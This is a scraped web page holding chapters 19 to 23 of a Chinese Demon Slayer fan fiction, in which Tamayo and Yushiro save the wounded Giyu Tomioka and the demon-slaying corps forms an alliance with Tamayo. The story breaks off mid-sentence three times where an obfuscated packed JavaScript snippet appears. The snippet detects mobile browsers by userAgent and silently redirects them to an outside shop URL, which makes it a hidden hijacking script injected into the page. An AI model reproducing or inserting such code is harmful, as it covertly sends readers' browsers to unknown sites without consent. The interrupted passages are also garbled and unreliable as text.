富冈义勇依旧沉默不语,只是握紧着手中的刀。他将刀举在身前,做出防御的姿势,留意猗窝座攻击的同时,他首先注意到了空中无声绽放的鲜花。 些许黏腻的腥甜,更多是好闻的花香。 “那没有办法了。”猗窝座脚下用力,正准备给富冈义勇最后的一招时,却突然回头,将手中的拳朝后挥去。 空的? 他刚刚明明感知到有什么在靠近。 下一秒,无数的鲜花绽放,他的视野被完全阻拦了。 等他将鲜花破坏,再朝富冈义勇那边看的时候,却发现人已经不见了。 那里,只有残余的血迹。 19. 第 19 章 在闻到花香之后,富冈义勇就觉得自己动不了了,随即一个女人和一个男孩出现在他身前,两个人搀扶着他,快速地将他带走了。 富冈义勇察觉到他们的好意,便没有挣扎。 失血带来的眩晕和虚弱开始显现,意识有些模糊,视野也一时明一时暗的。左肩几乎动不了,右手也使不上力气。 身上不止一处伤口,呼吸法也止不住血液。 富冈义勇不想让自己失去意识,硬撑着身体和他们一起走。 他的行为引起了女子的注意,她不禁担忧地皱了皱眉。 这孩子居然还清醒着吗? “不要动,你身上的伤很严重。”她声音很轻,带着年长者的慈祥和温柔。 旁边的男孩一直留意着女子的神色,二话不说就抬手打晕了富冈义勇。 竟敢让珠世大人忧心,简直不可原谅! 被叫做珠世的女子看过来:“愈史郎,不可以这么粗暴。” “是!”愈史郎乖巧地回答。 两个人绕了一大圈,才回到他们所住的地方。 在逃离的时候,珠世和愈史郎都很细心,没让富冈义勇的血滴落到地上。 现在检查一看,才发现他身上那几乎数不清的伤口。鲜红的血液不断渗出,衬得他没有血色的脸更加苍白。 愈史郎和珠世换上白大褂,做好消毒,开始为富冈义勇处理伤势。 愈史郎在帮富冈义勇处理伤势时,还是忍不住轻啧。 这家伙不知道疼得吗?就这样刚刚还试图乱动。 珠世一脸的严肃,手中的动作也放轻了不少。 上弦鬼的实力强劲,他一个人能撑这么久真的很不容易。 珠世和愈史郎当时在城外,在感受到猗窝座的气息时,他们当即就想离开。但在看到与猗窝座缠斗的富冈义勇时,珠世还是不忍心将他丢下不管。 愈史郎不想同意,因为他们本就在躲避鬼舞辻无惨的追杀,如果救下这个猎鬼人,他们暴露的可能也会大大增加。 但这是珠世的请求,他永远不会拒绝。 珠世和愈史郎并非人,都是鬼,也都有各自的血鬼术。珠世可以用自己的血化作可以影响视觉的梦幻之香,闻到气味的人都会动不了。愈史郎则可以遮蔽他人的视线,隐藏自己的身体。 这也是当时富冈义勇闻到的香气和猗窝座看不到背后没有人的缘由。 在替富冈义勇止住血并包扎好伤口后,珠世才缓缓松了口气。 他身上的伤实在太多,处理起来也需要集中精神。 因为疼痛,富冈义勇的眉头一直皱着,而就算昏迷着,也没发出任何声音。而这让珠世有些心疼。 明明还是个孩子。 珠世伸手,拿起干净的布擦了擦富冈义勇额头上冒出的冷汗。 感受到珠世的动作,富冈义勇眼睛微微颤动,然后缓缓睁开了双眼。 居然醒了吗?珠世哑然。 富冈义勇眼睛没有完全睁开,意识还有些模糊,也看不清珠世和愈史郎的面容。 “放心,我们不会伤害你。”珠世安抚他。 “多谢……”沙哑而疲惫的声音,带着显而易见的虚弱感。微眯着的海蓝色眼睛水水润润,像是玻璃珠一样,易碎而美丽。 缓了一会,富冈义勇的视线才恢复正常,看清了珠世和愈史郎的样子。 “你们……是鬼吗?”有些冒犯的话语,却因为虚弱而让珠世有些哭笑不得。 先是道谢,才来问他们的身份吗? 愈史郎刚刚去处理带有富冈义勇血迹的纱布和衣服,回来的时候刚好听到富冈义勇这句话,正想呛回去,就听到珠世温柔的回答。 “是。”珠世替他盖好被子,“我是珠世,既是鬼,也是医生。旁边那孩子是愈史郎。你的伤已经处理过,现在请安心休息吧。” 富冈义勇的大脑开始转动,发现自己身上的衣服都被脱了下来。他意识到什么,眼睛立马睁大,挣扎着就想要起身:“羽织……” 为了避免被上弦鬼追到,带有他血迹的东西肯定会被处理掉。 他的羽织也在战斗中染上了血。 他不能失去羽织! 那是家人和锖兔唯一留给他的东西了! “羽织被我洗净拿去晾晒了,没有给你丢。”愈史郎冷冷地回了一句。 在处理血迹的时候,他看到了那件染血的羽织。两份不同的面料拼接在一起,已经在时间的作用下显得陈旧。但这件羽织被呵护得很好,一些破损的地方也被小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153517|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地缝补起来。 这是很重要的东西,就像他珍视珠世送给他的所有东西一样。 愈史郎小心地洗掉了上面的血迹,将它晾在了院子里。 听到愈史郎的话,富冈义勇松了口气,这才乖乖地躺好。 然后他就感到天旋地转起来,只能闭上眼缓解。 珠世无奈摇头:“你失血过多,头晕是正常的。” 富冈义勇闭眼对抗着眩晕,却还是出声询问:“我来这里……” 话语未尽,他便咳嗽起来,更有些许的血色从嘴角溢出。 外伤已经处理好,受损的内脏只能慢慢来调养。 他压下咳意,忽略胸口的闷痛,继续道:“咳,我是为了……找一位……咳,摆脱了鬼舞辻无惨……控制的女士……” 说话断断续续的,声音也很轻,中间还夹杂着咳声,也就是珠世坐在他旁边才听得清。 “您……就是我……要找的人,对吗?”富冈义勇慢慢睁开眼,与珠世对视。 人吗?在确认了她鬼的身份后,还用这样的称呼这样叫她吗? 珠世将他放在外面的手塞进被子:“是。我想要抹杀掉那个男人,鬼舞辻。” 富冈义勇咳了几声,等待着眩晕感过去。他还想开口,就被珠世打断:“现在你需要好好休息。” 珠世替他擦去嘴角的血迹,温和地对他说:“等身体恢复一些,再来和我说吧,正好我也要和你谈谈条件。” 确认了珠世的身份,富冈义勇这才放下心,放松身体的下一秒,就直接陷入了昏睡。 苍白的脸颊,失去血色的嘴唇,在被子下的身体更是裹满了绷带。 就算这样,也放不下自己的责任,也丝毫不关心自己的伤势。 现在鬼杀队的人,都是这样吗? 珠世在很久以前和鬼杀队合作过,但作为不会死去的鬼,不是所有鬼杀队的主公都愿意和她合作。 她在鬼杀队待过一段时间,后面就选择了离开。为了找到消灭鬼舞辻无惨的方法,她一直在进行研究。可惜,这些年来,她一直没有什么突破性的进展。 或许这孩子的到来会是一个转机。 与此同时的另一边。 “什么?!义勇失踪了?!” 20. 第 20 章 富冈义勇遇见上弦之三,深受重伤,下落不明。 产屋敷耀哉听到鎹鸦传来的消息时,直接急火攻心地咳嗽起来。 “耀哉……”天音扶着他,轻拍着他的后背,看到有血丝从他的嘴角溢出,天音眼中的担忧更加明显。 产屋敷耀哉握了握天音的手,摇了摇头,示意自己没事。 他冷静下来,立马下令:“让天元带人前去救援,一定要找到义勇!” 义勇是听他的安排才去的浅草,如果不是他心急,想要找到人,义勇也不会碰到上弦。 生要见人,死要见尸。 没有踪迹反而是个好消息。 义勇,撑住啊! 宇髄天元在听到消息时,一向笑着的他难得严肃起来。 别死啊,富冈。 他安排好隐的人员,就自己一个人往浅草赶。 宇髄天元的奔跑速度是最快的,在争分夺秒的救援里,他去是最合适不过的。 “虹丸,宽三郎还留在浅草,你先飞去找他,确认富冈失踪的具体地点。” “我这就去。” 宇髄天元的身影飞快,直奔浅草而去。 在富冈义勇和猗窝座对上的时候,宽三郎一直盘旋在空中。 他看到富冈义勇伤重,也看到了他突然消失。 但,他找不到义勇。 他找了很多地方,都没有富冈义勇的身影。 心急如焚的他只能飞到最近拥有紫藤花纹样的家族,拜托那里的鎹鸦将富冈义勇失踪的消息传回去。 他要留在这里,他要找到义勇。 宽三郎一直在找,一直在找…… 他没有休息,可他就是找不到富冈义勇。 虹丸找到宽三郎的时候,他已经完全飞不动了。他落在一个屋顶,翅膀还在打颤。 “宽三郎……”虹丸凑过去,用自己的身体撑着他,“天元已经在赶来的路上了,不要担心,富冈一定会没事。” 宽三郎完全放心不了,他还想扇动翅膀飞起来:“他留了那么多血,甚至刀也断了……” “他昨天甚至站都站不稳了,孤零零一个人,又从不在乎自己的伤……” “如果,如果……” 宽三郎说不下去了,他不能去想那个可能。 他的眼角泛着泪花,心中满是身上染血的富冈义勇。 见宽三郎情绪有些失控,虹丸直接用翅膀拍了一下他的脑袋:“现在只有你知道富冈是在哪里失踪的!清醒一点!” “天元很快就会到浅草,我会带他去找富冈!现在,把富冈义勇失踪的地方告诉我!” 宽三郎冷静下来,反应过来他现在不能慌。 他不能乱,只有他知道昨天发生了什么。 宽三郎抬起翅膀指向一个方向:“在那边的小巷,义勇先是杀了两个鬼,但之后上弦之三就出现了。为了减少伤亡,义勇引着上弦鬼去了那边城外的空地。” “义勇没有打过上弦之三,反而自己受了不小的伤,甚至刀也断了。后来突然出现了很多鲜花,义勇就不见了。” “鲜花消失得很快,我想要去找,却发现根本找不,就连义勇的气息也消失不见了。” “好,我知道了,我这就飞过去,你在这里先休息。要是找到富冈以后你又累倒,你看富冈会不会骂你!”话音刚落,虹丸就朝城外的空地飞过去。 宇髄天元在靠近浅草以后就看到了虹丸的身影,飞快往那边赶。 这里是一片空地,虹丸见到宇髄天元后就飞了下来,落到一摊血迹旁边。 周围有很多战斗的痕迹,地面很多也都被破坏了,甚至还有一处很深的凹陷,很像是泄愤一样垂在地面。 虹丸对着宇髄天元喊道:“天元,这里。” 宇髄天元蹲下身,用手摸了摸沾着血迹的土壤。 血液已经干涸,凝固成了暗红色。 “看上去已经过去一段时间了。”宇髄天元抬手,放在鼻子下面闻了闻。 他又站起身,闻了闻附近周围的气息。 宇髄天元眉头皱紧:“没有额外的气息。” 虹丸将他从宽三郎得知的消息告诉宇髄天元。 “鲜花?”宇髄天元将土壤碾碎,又仔细闻了闻,确实察觉到一丝非常非常淡的香气。 富冈是突然消失的,难不成是被谁救走了吗? 而且除了这里留下的血迹,周围居然没有一点富冈的气息。 不对劲。 他的踪迹是被人刻意隐藏了。 宇髄天元当机立断:“虹丸,你去左边,我去右边,一旦发现哪里的建筑不对劲,立马来找我。” “我知道了!” 一人一鸟立马分开行动。 为了不惊动普通人,宇髄天元将自己的气息也隐藏了起来。他在建筑中间快速穿梭,耳朵仔细分辨着各种声音。 如果人还在浅草,很可能就藏在某个地方。 忍术可以隐藏人的踪迹,带走富冈的人很可能也有这样的能力。 一定要听得仔细一点。 在到街角的尽头,宇髄天元本打算拐弯的脚忽然顿住。 不对! 这里面有三个人的呼吸声! 宇髄天元伸手去摸墙面,发现果然只是一个虚影。 他抬手,握住了自己背后的双刀。但想到里面的人很可能是救了富冈义勇,如此防备反而可能引起反感。 宇髄天元放下了握刀的手。 他走进了墙面,看到了一间住宅。 果然如此,是障眼法吗? 不,不对。 这里有鬼的气息。 宇髄天元将苦无藏在手心,缓慢地朝住宅前进。 “什么人?”愈史郎在宇髄天元进来的那一刻就察觉到了他。珠世大人正在替那个猎鬼人配药,他不会让任何人打扰她。 宇髄天元眼睛微眯:“鬼?” 因为不确认富冈义勇在不在对方手里,他没有立刻动手。 与杀鬼相比,确认同伴的安全才是第一位。 愈史郎轻呵一声:“鬼又怎么样?猎鬼人,你是来找你的同伴的吗?” 宇髄天元握紧苦无,随时准备发动攻击:“看来富冈真的在你们手里?” “我不知道他的名字。但如果你说的是一个穿着双色羽织的人,那他确实在这里。”愈史郎对猎鬼人没有好感,对打扰他和珠世相处的人更没有好感,所以话语里也充满着嘲讽。 “他现在怎么样?”宇髄天元立马问。 愈史郎看着他:“没死 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珠世点头:“那个孩子伤得很重,还在昏迷。” “我们进屋谈吧。”珠世伸手,请宇髄天元进屋里。 宇髄天元没有立即回答,在思考这是不是鬼的计策。 就在他们僵持的时候,一个声音打破了沉寂。 “是宇髓先生吗?”富冈义勇走了出来。他身上披着一件薄薄的毯子,依靠在屋门口,声音很弱。 珠世连忙回头,惊讶地说:“你怎么起来了?!你现在不能动!” “富冈!”宇髄天元立马就跑过去,扶住他摇摇晃晃的身体。 宇髄天元的速度惊到愈史郎和珠世,让他们一时都没有反应过来。 富冈义勇借助宇髄天元的胳膊站直,他刚刚迷迷糊糊听到动静,还听到了宇髄天元的声音。担心宇髄天元会和珠世他们起冲突,他硬是撑着身体走了出来。 “宇髄先生……他们,咳咳,是主公要找的人……咳,不可以……不可以伤害他们。” 富冈义勇感觉脑袋又开始昏昏沉沉的,浑身发冷,仅仅是短短一句话,也要喘息上半天才能说完。 “好好好,我知道了,你先别说话了。”宇髄天元看到了毯子下面那包扎得严严实实的绷带,一时也不敢碰他,只能让他靠在自己身上。 富冈义勇喘息了一下,又连咳了好几声,才继续说:“昨天,咳,是他们救了我……咳咳,宽三郎没有,没有找到我……不是他的错。” “让大家为我担心,十分抱歉……”富冈义勇担心自己晕过去,只能加快语速,将想说的先都说出来。 宇髄天元急得要死,都什么时候了,还说这些有的没的。 愈史郎也看不过去,直愣愣地走过来,像昨天那样打晕了富冈义勇。 “好了,把他带进去吧。”愈史郎往里走,给他们带路。 珠世叹了口气,难得没有训斥愈史郎。 宇髄天元眨了眨眼,然后直接就把富冈义勇打横抱起来。 他伤势太重,直接抱进去吧。 宇髄天元低头看了看富冈义勇晕过去的侧脸,不由松了口气。 还活着就好,富冈。 21. 第 21 章 富冈义勇被抱回床上,因为刚刚的行动,本是白色的绷带开始洇出血色。 宇髄天元心里是又气又心疼。 这小子什么破性格。受这么严重的伤,还操心这个惦记那个。 这可一点都不华丽啊,富冈。 珠世跟在后面也走了进来,看了眼带血的绷带。她无奈叹气,喊愈史郎过来一起帮忙。 应该有不少伤口裂开了,都需要重新上药包扎。 珠世扶着富冈义勇的右肩,让他半坐起来。 愈史郎替富冈义勇换下新的绷带,珠世再涂抹上药剂,两个人再搭配着用绷带重新包扎。 等看到富冈义勇身上那些大大小小伤口时,宇髄天元的心脏不禁一痛。 身为鬼杀队的柱,他经历了无数场战斗,身上的伤疤早已不尽其数。但富冈义勇不过刚刚成为水柱,那些陈旧而又崭新的伤痕几乎布满了全身。 他攥紧双手,胸腔泛起一阵后怕和愤怒。 那个臭小鬼说的没错,富冈能活下来真的是个奇迹。还有那个上弦三,他的实力竟然如何恐怖吗? 宇髄天元压下情绪,朝珠世他们道谢,又道:“我先去给主公报个平安,劳烦你们照顾富冈了。” “别再把多余的人叫到这里,会暴露我们的行踪的。”愈史郎冷冰冰又带着烦躁地回答,手中的动作却是一点不慢。 宇髄天元点点头,没再说什么,直接走了出去。 他得让虹丸把消息传回去,顺便把宽三郎带过来。隐的人还在路上,就让他们在城外等着吧。 富冈义勇昏迷着,时不时还会轻咳几声。 外伤好治,内伤才是最令珠世发愁的。 富冈义勇的器官多有受损,只能先用药止血,再慢慢休养恢复。 虽然相处短暂,但珠世还是察觉到富冈义勇似乎有很严重的心理问题。 她是医生,又活了这么多年,虽然一直在研究如何将鬼变回人类,但关于心理方面的知识她也多有了解。 这孩子对昏迷或者失去意识似乎有着近乎极端的排斥,而他看上去不顾身体的的行动又都恰好卡在他身体的承受极限。 非常典型的强迫性行为,以及对身体的绝对监控。 在心理学里,这些行为都是应对过度警觉和焦虑的方式。通过极致地控制自己的身体和保持清醒,来防御随时可能出现的失控。 珠世感到一丝心疼。 这孩子,究竟经历过什么? 清醒时候的富冈义勇总是面无表情,只有昏迷后他才会显出一些稚嫩。 也只有这个时候,才能想到他也只是个十五岁的孩子。 富冈义勇的眉头一直皱着,额头的冷汗一直在冒。 珠世摸了摸他的额头,发现温度也上来了。 她叹了口气,刚刚不穿衣服跑出去,不发烧才奇怪。 等伤口重新包扎好,珠世让愈史郎拿了把梳子过来。 愈史郎用被子裹紧富冈义勇的身体,然后扶住他的后背,中间一直很小心没有碰到他的左肩。 珠世解开富冈义勇的头发,拿梳子简单梳了梳。 富冈义勇现在洗不了澡,头发上的血迹之前仅仅拿毛巾擦了擦,现在又因为出的冷汗而粘黏在一起。 趁着现在方便,帮他把头发也清洗一下吧。 富冈义勇的头发带着一点卷,珠世动作很轻,不让他的头发缠在梳子上。 等梳理完后,珠世没有帮他再把头发扎起来,直接让他散着头发躺下了。 为了他睡得安稳,珠世将头发都撩到了一侧。 在离开前,珠世想了想,到底还是划破自己的胳膊,在房间里布下了血鬼术。 闻到香气的人会陷入昏睡,就让这孩子老老实实睡一觉吧。 等珠世出去以后,愈史郎关上了门。 漂浮着的鲜花围绕在富冈义勇周身,美丽而又脆弱。 等珠世和愈史郎来到屋外,宇髄天元已经在站着等他们了。 虹丸回去传消息,宽三郎正站在宇髄天元的肩膀上,一脸担心地看着屋子。 珠世引着这一人一鸟来到客厅,开始准备和他们详谈。 愈史郎端了茶水进来,摆到他们中间,然后坐到珠世的身旁。 “先做个自我介绍吧,我是珠世。”珠世看向愈史郎,“这孩子是愈史郎。” 宇髄天元脸上带着华丽的笑容,宝石闪闪亮亮:“我是宇髄天元,担任鬼杀队的音柱。你们救的人名叫富冈义勇,是鬼杀队里的水柱。” “再次感谢你们的救助。”宇髄天元微微躬身道谢。 珠世语气平缓:“不用道谢。我们救人也有私心。” “我听义勇说你们的主公在找我,不知道我是否可以理解为你们想要和我寻求合作?” 珠世话语平静,内容却有些咄咄逼人。她的身份特殊,主动权需要握在她的手里。 宇髄天元从容应对,依旧彰显着华丽:“这件事我并不知晓,负责找你们踪迹的任务应当是主公单独交给富冈的。” 先不说他什么也不知道,就算知道也得当不知道。 宇髄天元不了解主公的想法,也不明白他们为什么要找面前的这两个鬼。 虽然这两个鬼看上去还有善心,但到底是鬼。 而他们鬼杀队可是要杀尽所有恶鬼的。 眼下富冈义勇昏迷,虹丸也没传来主公的消息,宇髄天元只能想办法拖延。 珠世察觉到宇髄天元的不信任,并没有在意。她继续开口:“在你们鬼杀队里,柱是除了主公以外最高等级的人了。既然我们救了你们的水柱,你们也该表现出应有的诚意。” “不知道珠世小姐想要怎样的诚意?”宇髄天元笑容不变。 愈史郎在心里轻啧,他很烦这种扯皮球一样的对话,但又偏偏没办法。 不过珠世大人今天还是一样的貌美。 珠世大人果然天下无双。 珠世活了上百年,见过无数的人,立马就反应过来宇髄天元做不了主。 虽然她当初救下义勇没想那么多,但现下有这个机会,她还是想多给自己争取些便利。 抱歉了,义勇,只能这样利用你。 “如果你做不了主的话,可以直接回去告诉你们的主公,可以让他和我谈。”珠世面容不变,紫色的眼睛里没有丝毫的破绽,“在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153519|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前,我们不会把义勇还给你们。” “在他睡着的屋子里,我布下了血鬼术。”珠世逼自己强硬起来,她不想伤害富冈义勇,但在此刻,她只能利用他。 即使心怀歉意,珠世的语调也没有任何起伏,像是单纯地陈述事实一般:“在你强行抢人的瞬间,我可以轻易杀了他。” 宇髄天元脸上华丽的笑意散去,眼眸中泛出些许的凉意:“珠世小姐,这样不好吧?” 他用手指摩挲着苦无,身体也开始绷紧,呈现出攻击的姿态。他的大脑飞快地思考,以便于及时应对接下来的局面。 苦无的伤害低,炸药威力又有些大。富冈的房间就在这里不远处,不能波及到他。 他需要在打伤面前这两个鬼的同时,快速赶到富冈身边。 啧,果然鬼就是鬼,一样的难缠。 “宇髓先生,后面的谈话,就交由我来吧。”打开的窗户那里传来沉稳而又优雅的声音。 这是产屋敷耀哉的鎹鸦。 宇髄天元松了口气,将苦无收起。看来主公已经有安排了。 “中午好,珠世小姐。”鎹鸦站在窗台上,看着珠世,“初次见面,我是产屋敷耀哉的使者。” “首先,我代表产屋敷耀哉感谢您对富冈义勇的救助。” “富冈是产屋敷派来找您的。因为您隐藏得着实巧妙,产屋敷这么多年也仅仅查到您在浅草现过身。若不是您主动出手,我们恐怕会需要花费更多的时间才能见面。” 鎹鸦的语气和和产屋敷耀哉很像,不紧不慢,却自带一种魅力。 “您和鬼杀队有一个共同的目的,那就是杀了鬼舞辻无惨。” “作为您救助富冈义勇的答谢,产屋敷希望您能和鬼杀队进行合作,共同研究如何击败鬼舞辻的方法。” “在此期间,鬼杀队会保证您的安全,也会为您提供场地和器材,也会为您提供需要的材料。而且现在的鬼杀队里,也有尚在研究鬼身体构造和药学的人。” “不知珠世小姐,对这样的答谢是否满意?” 珠世听完,神色不变:“我该如何相信你的话?要知道我毕竟是鬼,进到鬼杀队无异于自寻死路。” 隐瞒她也要杀死鬼舞辻的目的也好,利用富冈义勇也好,都是因为她必须要保证她和愈史郎的安全。 她因为鬼杀队的猜忌而离开,展开新的一次合作前,她必须保证她和愈史郎手里有足够的筹码。 鎹鸦从容地飞进来,落到宇髄天元的身前,让他从自己脖子上取下一个锦囊。 宇髄天元打开锦囊,眼眸微缩,又很快恢复正常,将里面的东西展示给珠世看。 “这是产屋敷家族的紫藤徽章。拿着它,就等同于产屋敷耀哉的同等身份。” “富冈义勇毕竟只是鬼杀队的孩子,他不该搀和进您和产屋敷的谈话。” “珠世小姐,如果您愿意合作,那就请收下这枚徽章。” 紫藤花的徽章,在灯光下反射出特有的金属光泽。 珠世看着那枚徽章,思考良久,最后还是伸手握住了它:“好,我答应你们。” 自此,人与鬼的战斗,即将拉开新的篇章。 22. 第 22 章 产屋敷耀哉的鎹鸦看着珠世,声音依旧优雅:“珠世小姐,既然合作已经达成,还请撤下富冈房间里面的血鬼术。” 珠世将紫藤徽章握在手里,神色不变:“我布下的血鬼术不会伤害他,只会让他好好休息。” 鎹鸦点点头:“原来如此。那么珠世小姐,富冈会由隐的人带走养伤,您和旁边的少年现在也需要转移据点。上弦鬼的实力强劲,继续留在浅草对您和我们都算不上安全。” 珠世也明白这点,如果不是富冈义勇的伤太严重,需要及时处理,他们本来也要转移。 珠世点头:“好,我和愈史郎简单收拾一下就可以走。” 她想了想,还是多提醒了他们一句:“义勇很可能有比较严重的心理问题,等他伤好,最好让他接受专业的心理疏导。” 鎹鸦知道产屋敷耀哉一直很担心富冈义勇,却没想过富冈义勇的心理问题这么严重。 他沉默了片刻,声音略带低沉:“我明白了,这件事我会告知产屋敷。” 鎹鸦随即扭身,看向宇髄天元,“宇髓,还要麻烦你带着珠世小姐前往新的据点,富冈会由我带人返回。” 宇髄天元点头:“好。就交给华丽的我吧。” 宽三郎一直挂心着富冈义勇,见他们谈话结束,就想要进房间里去找他,只是在那之前被产屋敷耀哉的鎹鸦拦了下来:“富冈伤势严重,你现在身心疲惫的,记得提前做好心理准备,进去以后记得控制好情绪,不要让自己也晕过去了。” 和产屋敷耀哉一样,他的鎹鸦在他们一族里也有着极高的威望。作为领导者,他们会留心每个人、每个鸦 宽三郎连忙点头:“这一次我一定看好他。” 产屋敷耀哉的鎹鸦拿翅膀拍了拍他的头:“不必自责。这件事谁都没有料到。” 由于担心宽三郎,产屋敷耀哉的鎹鸦跟着他一起进了富冈义勇的房间。 房间里仍盛开着鲜艳的花,富冈义勇躺在床上。在七彩的光芒下,更衬得他脸色的苍白。 “义勇!”宽三郎直接飞过去,听见他清浅的呼吸声时,一切的担忧都化作了眼角的热泪。 太好了,义勇,你还活着…… 你还活着,真是太好了…… 宽三郎想用脑袋蹭他的脸颊,却又担心吵醒他,一时之间有些翅足无措。伸出的翅膀悬在半空,想要触碰却又带着犹豫。 产屋敷耀哉的鎹鸦飞过来,拍了拍他的背:“让他好好睡吧。隐的人就在城外,你去带他们过来?” 现在就算让宽三郎去休息他估计也做不到,干脆还是让他做点事情吧。 “好,我这就去。”宽三郎扇扇翅膀,就开始往外飞。 产屋敷耀哉的鎹鸦摇摇头,看了看昏睡的富冈义勇,用翅膀摸了摸他的头发:“好好睡吧,已经没事了。” 由于现在还是白天,珠世和愈史郎没办法自由行动。而产屋敷耀哉自然也考虑到了这点,让附近的紫藤花家族帮忙找了一辆车过来。 在即将离开之前,愈史郎提醒了一句:“那个人的羽织别忘了拿,还在院子里。” 宇髄天元愣了一下,然后笑着说:“知道了。” 或许真的有善良的鬼存在吧。 宇髄天元打着伞,将阳光遮住,让珠世和愈史郎坐进了车子。车子的窗户是经过处理的,不会让阳光透进去。 宇髄天元没有上车,因为他觉得里面太狭窄了,如果有什么情况也不能及时应对,准备在外面跟着。 虹丸这时候也飞了过来,珠世他们要去的新据点将由他来带路。 “那我们就出发了,富冈就拜托你们了。” “请放心。路上还需小心。” 等目送宇髄天元他们离开,产屋敷耀哉的鎹鸦也看到了隐的人。 由于珠世离开了这里,富冈义勇房间里的血鬼术也消失了。不过他现在正发着高烧,就算想醒也醒不过来。 “大家动作小心些,不要碰到富冈的左肩。”产屋敷耀哉的鎹鸦和珠世聊过富冈义勇的伤势,明白他的伤到底有多严重。 “明白。” 隐的人带着的东西很齐全,先是给富冈义勇贴上退烧贴,又小心地给他套上衣服,最后才慢慢地将他转移到担架上。 “水柱大人的断刀和羽织都已经收好,我们可以返程了。”隐的人汇报。 宽三郎忍不住叮嘱:“你们路上慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153520|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着点,别颠到义勇了。” 抬着担架的队员笑笑:“放心!这事我们有经验,一定不会让水柱大人难受的。” 产屋敷耀哉的鎹鸦下令:“大家返程。” 白天是没有鬼出来搞事情的,回治疗室的路上也都平平稳稳,什么都没有发生。 在回程路上,富冈义勇时不时会紧蹙着眉头,睫毛也会微微颤动,想要苏醒的意志抵不过高烧和重伤,终究没能让他睁开眼睛。 等被转移到治疗室的病床时,富冈义勇才迷迷糊糊地恢复意识。 治疗室……吗? 见到富冈义勇睁开眼,治疗室的医生也有些心疼。她治疗过不少的队员,伤重的人不是没见过,但像富冈义勇这样几乎在鬼门关走一圈的人,她也甚少见到。 珠世写的药方被隐的人带了回来,医生很仔细地看了好几遍。上面记录的很详细,看着上面的各种伤势,到底是忍不住红了眼眶。 这得多疼啊…… “醒了吗?”医生控制着自己的音量,尽量显得柔和。 富冈义勇轻轻“嗯”了一声。 医生见他还要说话,就先开口:“你现在在治疗室,很安全。” 见富冈义勇听进去,她才继续说下去:“是隐的人带你回来的。羽织就放在旁边,宽三郎也去休息了。” 医生知道富冈义勇的意识可能不是很清楚,语速放得很慢,内容也尽量简短:“主公还让我告诉你,你的任务已经完成。现在,要好好养伤。” 富冈义勇虽然醒了过来,但意识几乎是完全模糊的,大脑也几乎转动不了。听完医生的话,他大概明白珠世小姐现在是安全的,羽织和宽三郎也都没事。 他终于放下心,安心地陷入昏睡。 医生叹了口气,看着珠世药方上的最后一行字:鉴于患者可能存在的心理问题,必要情况下,可酌情使用镇静剂。 她抬头看富冈义勇苍白的脸颊,忍不住再次叹气。 这孩子,其实比谁都清醒。他的责任感,让他无法在外面失去意识。 这算是心理问题吗?医生对此没有研究,也不知晓这个答案。 还是上报给主公,让他裁决吧。 23. 第 23 章 富冈义勇放下心后,就一直在昏睡。 每天的药喂不进去,医生只能给富冈义勇打了吊瓶,将药和营养液输进去。 宽三郎一直在他的病床边守着,看着他渐渐消瘦下来的脸颊,心里一直钝钝的疼。 在他养病期间,有不少人来探望他。 岩柱的悲鸣屿行冥,音柱的宇髄天元,两个人是搭伴过来的,见富冈义勇还在昏迷,待了一会就都离开了,毕竟他们也有任务要执行。 村田和其他富冈义勇一批的队员是来得最勤的,帮着护士看富冈义勇的药瓶要不要换,帮他换衣服,更换绷带。 他们每每看到富冈义勇身上那斑驳的伤痕时,都于心不忍。 “老实说,富冈和锖兔真不愧是同门,两个人都很厉害。锖兔碰到了下弦鬼,富冈碰到了上弦鬼。咱们对上稍微强点的鬼都觉得棘手。” “喂,别在富冈醒的时候提锖兔啊。” “知道知道。富冈一直对锖兔的死耿耿于怀,我这也就是忽然想到,随口这么一提。” 村田帮富冈义勇的扣子系好,慢慢扶着他躺下:“锖兔牺牲前,我和富冈在一起。当时他中了毒,在昏迷前一直伸着手想拦住锖兔。恐怕他一直觉得是自己害了锖兔吧。” 旁边的队员挠挠头:“锖兔救了咱们所有人,这想法肯定不对,但就是不知道该让人怎么劝。” “因为咱们是最没资格说这个话的。”另一个人帮富冈义盖好被子,“富冈现在就已经是水柱了,如果锖兔还活着,你们认为现在的柱还会只有三位吗?咱们都会这么想,就更别提富冈了。” 感激、惋惜,是他们这些局外人对于锖兔的最大感受。而对于富冈义勇来说,锖兔的死成了他逃不开的枷锁,让他被迫负重前行。 斩杀下弦鬼的人便可以成为柱。 如果锖兔还活着,现在的水柱哪里轮得上富冈义勇? 鬼杀队里并非纯粹的良善之地,也存在会嫉妒和不满的人,更有人说过上面的话。 